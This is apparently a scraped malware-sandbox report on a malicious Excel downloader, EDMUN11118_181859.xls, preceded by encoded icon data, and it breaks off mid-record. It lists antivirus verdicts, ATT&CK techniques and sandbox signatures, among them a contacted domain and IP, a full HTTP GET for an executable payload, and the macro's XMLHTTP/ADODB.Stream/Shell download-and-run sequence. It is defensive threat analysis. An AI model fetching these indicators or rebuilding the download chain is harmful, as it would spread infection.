"C:\Windows\System32\msxml3.dll\1"2e:Taac,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:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAd3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAcAAAAAD/////////////8HAAAAAA/wAA/wAAD/AAD/BwAAAAAP/////////////wcAAAAAD/VVD/8A//8AAP8HAAAAAA//D1/wCw//DsD/B3d3d3AP//UP8AAA/wAA/wAAAABwD/////////////8I///wcA/wAA/wAAD/AAD/CAAA8HAP/////////////wj///BwD/cAD/8AD/AAAP8IAADwcA/wAA/wAA/wdwD/CP//8HAP/w8P/wYP/3wP/wgAAPBwD/8AD/8AD/93D/8I///wcA//////////////CAAA8HAAAAAAAAAAAAAAAAj///BwDu7u7u7u7u7u7u4IAADwcAAAAAAAAAAAAAAAD///8HAAAATExMTED/////8AAPBwAAAMTExMTA/////////wcAAABMTExMQAAAAAAAAAAHAAAAxP/ExMDu7u7u7u7uAAAAAE9M/PxAAAAAAAAAAAAAAADPxMTExMTExMTEBwAAAAAAT0z8/ExMTExMTAcAAAAAAMT/xMTExMTExMQHAAAAAABMTExMTExMTExMBwAAAAAAAAAAAAAAAAAAAAcAAAAAAO7u7u7u7u7u7u4HAAAAAAAAAAAAAAAAAAAAAAAAD/////gAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAfAAAAHwAAAB8AAAAfAAAAPwAAAD8AAAH/AAAB/wAAAf8AAAH/AAAB/wAAAf8AAAPw==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790270942036,"unified_at":"2026-09-24T17:29:02.036Z","metadata":{"hashes":{"sha256":"3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb","sha1":"c03edccca92b6b229768de2f4a83d1e71d1ad0f1","md5":"63e22e87b78f6f82d437c7b622a84945","sha512":"38e2282a9cc661a9348b4030a969ad9fdc4c274948fc6cf65d736756dcde45e530248c8000c009b25f67fa8ac202aeb75472364aacd9c5798f24695661874616","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"EDMUN11118_181859.xls","file_type":["xls","office"],"file_type_id":"xls","file_size":112640,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499297105000,"last_seen":1695740521000,"last_multi_scan":1695740521000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["adnel","crypt","donoff","downloader","pemalform","wanacrypt0r","wannacry","wannacrypt","wcry","macros-on-open"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":29},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":6},"sandbox_signatures":{"informative_count":30,"suspicious_count":11,"malicious_count":16,"total":57},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"X97M/Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSExcel.Agent.bg","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"X2000M/Dldr.Agent.645322","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.7645","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Xls.Dropper.Agent-1844408","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.7645 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDownloader.Agent.AJK trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.MSExcel.Agent.bg","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.arf","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Agent.dyxcgg","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-AKG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"X2KM_DRIDEX.YJS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"X2KM_DRIDEX.YJS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"X97M/Downldr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.AR","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"GT:VB.Macros.ObfDldr.22","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Hooks API calls"},{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"tactic":"Command and Control","technique":"Uncommonly Used Port","attack_id":"T1065","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1065","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"EXCEL.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"EXCEL.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"EXCEL.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"EXCEL.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\EXCEL.EXE\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\EXCEL.EXE\")\n \"EXCEL.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\STRNAME.EXE\")\n \"EXCEL.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\STRNAME.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"lapelsbadges.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"88.208.252.220:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$27","origin":"Static Parser","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"http)\"\n Normalized macro string: \"CreateObject(Microsoft.XMLHTTP)\"\n Normalized macro string: \"macmillan.com\"","origin":"File/Memory","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"EXCEL.EXE\" created file \"%TEMP%\\~DFB51F7ED30D826269.TMP\"\n \"EXCEL.EXE\" created file \"%TEMP%\\~DFF6F6424B14D0CDC2.TMP\"\n \"EXCEL.EXE\" created file \"%TEMP%\\strname.exe\"\n \"EXCEL.EXE\" created file \"%TEMP%\\4510829.cvr\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208\"\n \"DBWinMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\c:!users!5trmdl5!appdata!local!microsoft!windows!history!history.ie5!\"\n \"RasPbFile\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"IESQMMUTEX_0_208\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\c:!users!5trmdl5!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\10MU_ACB10_S-1-5-5-0-59580\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\!IETld!Mutex\"\n \"Local\\10MU_ACBPIDS_S-1-5-5-0-59580\"\n \"Local\\c:!users!5trmdl5!appdata!roaming!microsoft!windows!cookies!\"\n \"Local\\c:!users!5trmdl5!appdata!roaming!microsoft!windows!ietldcache!\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"EXCEL.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 6A050000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"EXCEL.EXE\" called \"Microsoft.XMLHTTP.1.0.CreateObject\" ... \n \"EXCEL.EXE\" called \"ADODB.Stream.6.0.CreateObject\" ... \n \"EXCEL.EXE\" called \"Shell.Application.1.CreateObject\" ... \n \"EXCEL.EXE\" called \"WScript.Shell.1.CreateObject\" ... \n \"EXCEL.EXE\" called \"WScript.Shell.1.Environment\" with result: \"IDispatch\" ...\n \"EXCEL.EXE\" called \"Microsoft.XMLHTTP.1.0.open\" ... \n \"EXCEL.EXE\" called \"WScript.Shell.1(\"Environment\").Item\" with result: \"%TEMP%\\ ..., \"EXCEL.EXE\" called \"ADODB.Stream.6.0.Type\" ... , \"EXCEL.EXE\" called \"Microsoft.XMLHTTP.1.0.responseBody\" with result: \"404 Not Found

Not Found

The requested URL /8i65h4g53/o97i76u54.exe was not found on this server.

\" ..., \"EXCEL.EXE\" called \"ADODB.Stream.6.0.Write\" ... , \"EXCEL.EXE\" called \"ADODB.Stream.6.0.SaveToFile\" ... , \"EXCEL.EXE\" called \"Shell.Application.1.Open\" ...","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"EXCEL.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"ntvdm.exe\" (UID: 00019604-00000572) was launched with new environment variables: \"WecVersionForRosebud.AEC=\"4\"\"\n Process \"ntvdm.exe\" (UID: 00019604-00000572) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"EXCEL.EXE\" called \"OpenService\" to access the \"PcaSvc\" service\n \"EXCEL.EXE\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"EXCEL.EXE\" called \"OpenService\" to access the \"rasman\" service\n \"EXCEL.EXE\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"EXCEL.EXE\" searching for class \"REListbox20W\"\n \"EXCEL.EXE\" searching for class \"OfficeTooltip\"\n \"EXCEL.EXE\" searching for class \"MsoCommandBarPopup\"\n \"EXCEL.EXE\" searching for class \"NetUICtrlNotifySink\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"ntvdm.exe\" with commandline \"-i1\" (UID: 00019604-00000572)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /8i65h4g53/o97i76u54.exe HTTP/1.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: lapelsbadges.com\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"EXCEL.EXE\" is creating a new process (Handle: 0)\n \"EXCEL.EXE\" is creating a new process (Name: \"%WINDIR%\\System32\\ntvdm.exe\", Handle: 2016)\n \"EXCEL.EXE\" is creating a new process (Name: \"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\DW\\DW20.EXE\", Handle: 1504)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"strname.exe\" has type \"HTML document ASCII text\"\n \"EDMUN11118_181859.xls.xls#env#100.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Aug 21 05:51:12 2017 mtime=Mon Aug 21 05:51:12 2017 atime=Mon Aug 21 05:52:24 2017 length=112640 window=hide\"\n \"carved_0.exe\" has type \"HTML document ASCII text\"\n \"4510829.cvr\" has type \"data\"\n \"index.dat\" has type \"data\"\n \"scsD7.tmp\" has type \"ASCII text with CRLF line terminators\"\n \"scs100.tmp\" has type \"DOS batch file ASCII text with CRLF line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"599a74437ca3e15e7e0d4144"},{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"EXCEL.EXE\" opened \"MountPointManager\"","origin":"API 